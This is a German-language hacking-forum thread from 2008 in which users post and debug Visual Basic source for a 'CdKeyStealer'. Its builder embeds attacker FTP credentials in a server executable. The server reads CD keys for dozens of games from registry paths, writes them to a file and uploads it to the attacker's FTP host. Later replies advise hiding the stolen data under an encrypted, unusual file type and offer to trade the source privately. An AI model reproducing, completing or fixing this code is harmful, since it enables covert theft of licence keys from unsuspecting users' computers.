|
| Autor |
Nachricht |
marcel1994_
Coder
Anmeldedatum: 08.02.2008
Beiträge: 202
|
Code richtig?
Verfasst am: 15.02.2008, 14:20 |
|
|
Ich suche einen erfahrenden User der meinen Code auf seine richtigkeit überprüft (CdKeyStealer). ich werde ihn nicht zum Copy and Paste veröffentlichen. Bei interesse bitte in ICQ melden: 331274815
Danke im Voraus |
|
| |
|
 |
Viktor
« Webmaster »
Anmeldedatum: 08.12.2006
Beiträge: 354
Wohnort: Berlin
|
Verfasst am: 15.02.2008, 14:35 |
|
|
Das ist echt lächerlich.
Das was du kannst, kann jeder andere auch schnell schreiben, da brauchst du nicht von copy & paste sprechen <.<
Poste deinen Stealer hier und dir können gleich mehrere Leute helfen. |
|
| |
|
|
marcel1994_
Coder
Anmeldedatum: 08.02.2008
Beiträge: 202
|
Verfasst am: 15.02.2008, 14:50 |
|
|
ja is ja ok enco habe mir bloß viel mühe gemacht die ganzen pfade hier einzubinden ... also ok hier der code:
Builder:
| Code: |
Private Sub build(pfad As String)
On Error GoTo Err:
Dim buffer() As Byte
buffer = LoadResData(101, "CUSTOM")
Open pfad For Binary As #1
Put #1, , buffer()
Close #1
Dim Options As String * 100
Options = txthost.Text & "#" & txtuser.Text & "#" & txtpass.Text & "#"
Open pfad For Binary As #1
Put #1, LOF(1) + 1, Options
Close #1
Exit Sub
Err: Call MsgBox("Server konnte nicht erstellt werden, da ein Fehler aufgetreten ist!")
End Sub
Private Sub cmd_build_Click()
build ("server.exe")
End Sub
Private Sub Command2_Click()
txthost.Text = "ftp.test.com"
txtuser.Text = "admin"
txtpass.Text = "test"
End Sub
Private Sub Command3_Click()
End
End Sub
Private Sub txthost_Click()
txthost.Text = ""
End Sub
Private Sub txtpass_Click()
txtpass.Text = ""
End Sub
Private Sub txtuser_Click()
txtuser.Text = ""
End Sub
|
Server:
| Code: |
Private Sub Form_Load2()
Dim options As String * 100
Dim cmd() As String
Dim host As String
Dim user As String
Dim pw As String
Dim Inhalt As String
Inhalt = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Activision\Call of Duty 4\codkey")
Text1 = "Call of Duty 4: " & Inhalt
Text1.Enabled = False
Inhalt2 = RegRead("HKEY_LOCAL_MACHINE\Software\Activision\Call of Duty,codkey Chrome,HKLM\Software\Techland\Chrome,SerialNumber")
Text2 = "Call of Duty: " & Inhalt2
Text2.Enabled = False
Inhalt3 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Generals\ergc")
Text3 = "Command and Conquer Generals: " & Inhalt3
Text3.Enabled = False
Inhalt4 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Command and Conquer Generals Zero Hour\ergc")
Text4 = "Command and Conquer Generals Zero Hour: " & Inhalt4
Text4.Enabled = False
Inhalt5 = RegRead("HKEY_LOCAL_MACHINE\Software\Westwood\Red Alert 2,Serial")
Text5 = "Command and Conquer Red Alert 2: " & Inhalt5
Text5.Enabled = False
Inhalt6 = RegRead("HKEY_LOCAL_MACHINE\Software\Westwood\Red Alert,Serial")
Text6 = "Command and Conquer Red Alert: " & Inhalt6
Text6.Enabled = False
Inhalt7 = RegRead("HKEY_LOCAL_MACHINE\Software\Westwood\Tiberian Sun,Serial")
Text7 = "Command and Conquer Tiberian Sun: " & Inhalt7
Text7.Enabled = False
Inhalt8 = RegRead("HKCU\Software\Valve\CounterStrike\Settings")
Text8 = "Counter-Strike: " & Inhalt8
Text8.Enabled = False
Inhalt9 = RegRead("HKEY_LOCAL_MACHINE\Software\Crytek\FarCry\Ubi.com,CDKey")
Text9 = "FarCry: " & Inhalt9
Text9.Enabled = False
Inhalt10 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Sports\FIFA 2002\ergc")
Text10 = "FIFA 2002: " & Inhalt10
Text10.Enabled = False
Inhalt11 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Sports\FIFA 2003\ergc")
Text11 = "FIFA 2003: " & Inhalt11
Text11.Enabled = False
Inhalt12 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Sports\FIFA 2004\ergc")
Text12 = "FIFA 2004: " & Inhalt12
Text12.Enabled = False
Inhalt13 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Distribution\Freedom Force\ergc")
Text13 = "Freedom Force: " & Inhalt13
Text13.Enabled = False
Inhalt14 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Global Operations\ergc")
Text14 = "Global Operations: " & Inhalt14
Text14.Enabled = False
Inhalt15 = RegRead("HKCU\Software\Valve\Gunman\Settings")
Text15 = "Gunman Chronicles: " & Inhalt15
Text15.Enabled = False
Inhalt16 = RegRead("HKCU\Software\Valve\Half-Life\Settings")
Text16 = "Half-Life: " & Inhalt16
Text16.Enabled = False
Inhalt17 = RegRead("HKEY_LOCAL_MACHINE\Software\Illusion Softworks\Hidden & Dangerous 2,key")
Text17 = "Hidden and Dangerous 2: " & Inhalt17
Text17.Enabled = False
Inhalt18 = RegRead("HKEY_LOCAL_MACHINE\Software\IGI 2 Retail\CDKey,CDkey")
Text18 = "IGI2-Covert Strike: " & Inhalt18
Text18.Enabled = False
Inhalt19 = RegRead("HKCU\Software\JoWooD\InstalledGames\IG2")
Text19 = "Industry Giant 2: " & Inhalt19
Text19.Enabled = False
Inhalt20 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc")
Text20 = "James Bond 007 Nightfire: " & Inhalt20
Text20.Enabled = False
Inhalt21 = RegRead("HKCU\Software\3d0\Status")
Text21 = "Legends of Might and Magic: " & Inhalt21
Text21.Enabled = False
Inhalt22 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\ergc")
Text22 = "Medal of Honor Allied Assault: " & Inhalt22
Text22.Enabled = False
Inhalt23 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Breakthrough\ergc")
Text23 = "Medal of Honor Allied Assault-Breakthrough: " & Inhalt23
Text23.Enabled = False
Inhalt24 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Spearhead\ergc")
Text24 = "Medal of Honor Allied Assault-Spearhead: " & Inhalt24
Text24.Enabled = False
Inhalt25 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Sports\Nascar Racing 2002\ergc")
Text25 = "Nascar Racing 2002: " & Inhalt25
Text25.Enabled = False
Inhalt26 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Sports\Nascar Racing 2003\ergc")
Text26 = "Nascar Racing 2003: " & Inhalt26
Text26.Enabled = False
Inhalt27 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Sports\NBA LIVE 2003\ergc")
Text27 = "NBA LIVE 2003: " & Inhalt27
Text27.Enabled = False
Inhalt28 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Sports\NBA LIVE 2004\ergc")
Text28 = "NBA LIVE 2004: " & Inhalt28
Text28.Enabled = False
Inhalt29 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Sports\NHL 2002\ergc")
Text29 = "NHL 2002: " & Inhalt29
Text29.Enabled = False
Inhalt30 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Sports\NHL 2003\ergc")
Text30 = "NHL 2003: " & Inhalt30
Text30.Enabled = False
Inhalt31 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Sports\NHL 2004\ergc")
Text31 = "NHL 2004: " & Inhalt31
Text31.Enabled = False
Inhalt32 = RegRead("HKEY_LOCAL_MACHINE\Software\Westwood\Nox,Serial")
Text32 = "NOX: " & Inhalt32
Text32.Enabled = False
Inhalt33 = RegRead("HKEY_LOCAL_MACHINE\Software\Red Storm Entertainment\RAVENSHIELD,CDKey")
Text33 = "Rainbow Six III RavenShield: " & Inhalt33
Text33.Enabled = False
Inhalt34 = RegRead("HKCU\Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings")
Text34 = "Soldiers Of Anarchy: " & Inhalt34
Text34.Enabled = False
Inhalt35 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edition\ergc")
Text35 = "Shogun Total War Warlord Edition: " & Inhalt35
Text35.Enabled = False
Inhalt36 = RegRead("HKEY_LOCAL_MACHINE\Software\Unreal Technology\Installed Apps\UT2003,CDKey")
Text36 = "Unreal Tournament 2003: " & Inhalt36
Text36.Enabled = False
Inhalt37 = RegRead("HKEY_LOCAL_MACHINE\Software\Unreal Technology\Installed Apps\UT2004,CDKey")
Text37 = "Unreal Tournament 2004: " & Inhalt37
Text37.Enabled = False
Inhalt38 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Battlefield 1942\ergc")
Text38 = "Battlefield 1942: " & Inhalt38
Text38.Enabled = False
Inhalt39 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons of WWII\ergc")
Text39 = "Battlefield 1942 Secret Weapons Of WWII: " & Inhalt39
Text39.Enabled = False
Inhalt40 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rome\ergc")
Text40 = "Battlefield 1942 The Road To Rome: " & Inhalt40
Text40.Enabled = False
Inhalt41 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rome\ergc")
Text41 = "Battlefield 1942 The Road To Rome: " & Inhalt41
Text41.Enabled = False
Inhalt42 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc")
Text42 = "Battlefield Vietnam: " & Inhalt42
Text42.Enabled = False
Inhalt43 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Games\Battlefield 2\ergc")
Text43 = "Battlefield 2: " & Inhalt43
Text43.Enabled = False
Inhalt44 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\ergc")
Text44 = "Need For Speed Hot Pursuit 2: " & Inhalt44
Text44.Enabled = False
Inhalt45 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Need For Speed Underground\ergc")
Text45 = "Need For Speed Underground: " & Inhalt45
Text45.Enabled = False
Inhalt46 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Need for Speed Most Wanted\ergc")
Text46 = "Need For Speed Most Wanted: " & Inhalt46
Text46.Enabled = False
Inhalt47 = RegRead("HKCU\Software\Eugen Systems\The Gladiators")
Text47 = "The Gladiators: " & Inhalt47
Text47.Enabled = False
Inhalt48 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\Maxis\The Sims Deluxe\ergc")
Text48 = "The Sims Deluxe: " & Inhalt48
Text48.Enabled = False
Inhalt49 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\Maxis\The Sims Hot Date\ergc")
Text49 = "The Sims Hot Date: " & Inhalt49
Text49.Enabled = False
Inhalt50 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\Maxis\The Sims House Party\ergc")
Text50 = "The Sims House Party: " & Inhalt50
Text50.Enabled = False
Inhalt51 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\Maxis\The Sims Livin' Large\ergc")
Text51 = "The Sims Livin: " & Inhalt51
Text51.Enabled = False
Inhalt52 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\Maxis\The Sims Superstar\ergc")
Text52 = "The Sims Superstar: " & Inhalt52
Text52.Enabled = False
Inhalt53 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\Maxis\The Sims Unleashed\ergc")
Text53 = "The Sims Unleashed: " & Inhalt53
Text53.Enabled = False
Inhalt54 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\Maxis\The Sims Vacation\ergc")
Text54 = "The Sims Vacation: " & Inhalt54
Text54.Enabled = False
Inhalt55 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\Maxis\The Sims\ergc")
Text55 = "The Sims: " & Inhalt55
Text55.Enabled = False
Inhalt56 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\Maxis\Sim City 4 Deluxe\ergc")
Text56 = "Sim City 4 Deluxe: " & Inhalt56
Text56.Enabled = False
Inhalt57 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\Maxis\Sim City 4\ergc")
Text57 = "Sim City 4: " & Inhalt57
Text57.Enabled = False
Inhalt58 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Games\The Battle for Middle-earth\ergc")
Text58 = "The Battle for Middle-earth: " & Inhalt58
Text58.Enabled = False
Inhalt59 = RegRead("HKEY_LOCAL_MACHINE\Software\Sunflowers\Anno 1701,SerialNo")
Text59 = "Anno 1701: " & Inhalt59
Text59.Enabled = False
Open (App.Path & "\" & App.EXEName & ".exe") For Binary As #1
Get #1, LOF(1) - 99, options
Close #1
cmd() = Split(options, "#")
host = cmd(0)
user = cmd(1)
pw = cmd(2)
Dim LocalFile As String
LocalFile = Environ("windir") & "\" & "cdkeys.txt"
If FileExists(LocalFile) Then
Kill LocalFile
End If
Open LocalFile For Output As #1
Print #1, Inhalt
Close #1
Dim RemoteFile As String
RemoteFile = "" & Environ$("computername") & ".txt"
With Inet1
.AccessType = icUseDefault
.Protocol = icFTP
.RemotePort = "21"
.URL = cmd(0)
.UserName = cmd(1)
.Password = cmd(2)
.Execute , "PUT " & LocalFile & " " & RemoteFile
End With
Do While Inet1.StillExecuting = True
DoEvents
Loop
Kill LocalFile
End Sub
Private Function FileExists(ByVal FileName As String) As Boolean
On Local Error Resume Next
FileExists = (Dir$(FileName) <> "")
End Function
Private Function RegRead(Path As String) As String
Dim ws As Object
On Error GoTo ErrHandler
Set ws = CreateObject("WScript.Shell")
RegRead = ws.RegRead(Path)
Exit Function
ErrHandler:
RegRead = ""
End Function
|
EDIT: Basiert auf einem code hier ausm forum habe eben nurnoch alle pfade eingebunden von den spielen zu der serials |
|
| |
|
|
Viktor
« Webmaster »
Anmeldedatum: 08.12.2006
Beiträge: 354
Wohnort: Berlin
|
Verfasst am: 15.02.2008, 14:54 |
|
|
Ich empfehle dir mal Array zu benutzen >.<
Die lassen sich auch gleich dynamisch anlegen.
Du liest die Datei mit den Pfaden ein, und jeder Pfad wird als Item im Array gespeichert.
Habs nicht getestet, aber als kleinen Denkanstoß:
zb. so:
| Code: |
dim pfadarray() as string
dim zaehler as integer
zaehler = 0
Open pfade.txt for input as #1
while not eof(1)
line input #1, pfad
pfadarray(zaehler) = pfad
zaehler =zaehler +1
wend
close #1 |
|
|
| |
|
|
marcel1994_
Coder
Anmeldedatum: 08.02.2008
Beiträge: 202
|
Verfasst am: 15.02.2008, 14:57 |
|
|
| aber ich kann das doch auch ohne arrays machen oda? habe gerade keine person da zum tsten aber das müsste das doch aufn ftp hochladen oda? (also die keys) |
|
| |
|
|
boterfreak_
Coder
Anmeldedatum: 19.01.2008
Beiträge: 75
|
Verfasst am: 16.02.2008, 13:41 |
|
|
Ich komme nicht weiter ich schaffe es nicht das er wenn der das spiel net findet Spielname Nicht vorhanden
Und wenn es Vorhanden ist dan Spielname Key
Und das soll alles untereinander Stehen ?? |
|
| |
|
|
ZiG_
Überflieger
Anmeldedatum: 07.03.2007
Beiträge: 1248
|
Verfasst am: 16.02.2008, 13:46 |
|
|
Wo soll da das Problem liegen?
Wenn er den Key in der Registry nicht findet, bzw. einen leeren String zurückgibt, dann ist das Spiel halt nicht installiert.
Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde) |
|
| |
|
|
boterfreak_
Coder
Anmeldedatum: 19.01.2008
Beiträge: 75
|
Verfasst am: 16.02.2008, 13:51 |
|
|
Ja ich habs so gemacht das da dan steht spiel nicht vorhanden
Aber er schreibt es nur 1 mal weil er immer alles wieder ersetzt ich will das alles untereinander steht also so zbs
Spiel Nicht vorhanden
Cod4 Dan hier der key
usw
usw
Also es soll alles untereinander stehen |
|
| |
|
|
DFJ_
Poster
Anmeldedatum: 15.10.2007
Beiträge: 156
|
Verfasst am: 16.02.2008, 14:16 |
|
|
dann must du wohl entweder
entweder z.b
Open LocalFile For Output As #1
Print #1, Inhalt
Print #1, Inhalt 1
Print #1, Inhall 2
Close #1
usw. , ich würde sowas erst garnicht programmieren ihr schweine XD, aber besten wäre es wenn du es so macht das es in eine listenview eingelesen werden kann und vorallem solltes du es nicht in ein txt datei speicher , an besten verschlüsseln und ein einigen endung aussuchen .
schon sehr merk würdig manch mal hier 
Spam bot |
|
| |
|
|
boterfreak_
Coder
Anmeldedatum: 19.01.2008
Beiträge: 75
|
Verfasst am: 23.02.2008, 11:19 |
|
|
| Ich habs mal ausprobiert Alles richtig gemacht deine Codes verwendet Und wenn ich es mit den Builder gemacht habe funtz es nicht er lädt nix hoch keine keys nix ?? Muss man es vllt in module einbauen |
|
| |
|
|
marcel1994_
Coder
Anmeldedatum: 08.02.2008
Beiträge: 202
|
Verfasst am: 23.02.2008, 11:34 |
|
|
also ich hab das ding nochmal komplett neu angefangen ... jetzt klappt es wunderbar, nur muss ich meine ftpdaten definieren, wenn ich den server in meinen builder einbaue will, dann gehts auch nicht ... "laufzeitfehler 9" oda so ... naj boternetfreak meld dich bei mir in icq : 331-274-815 dann bekommste vllt source |
|
| |
|
|
Registrieren
Login
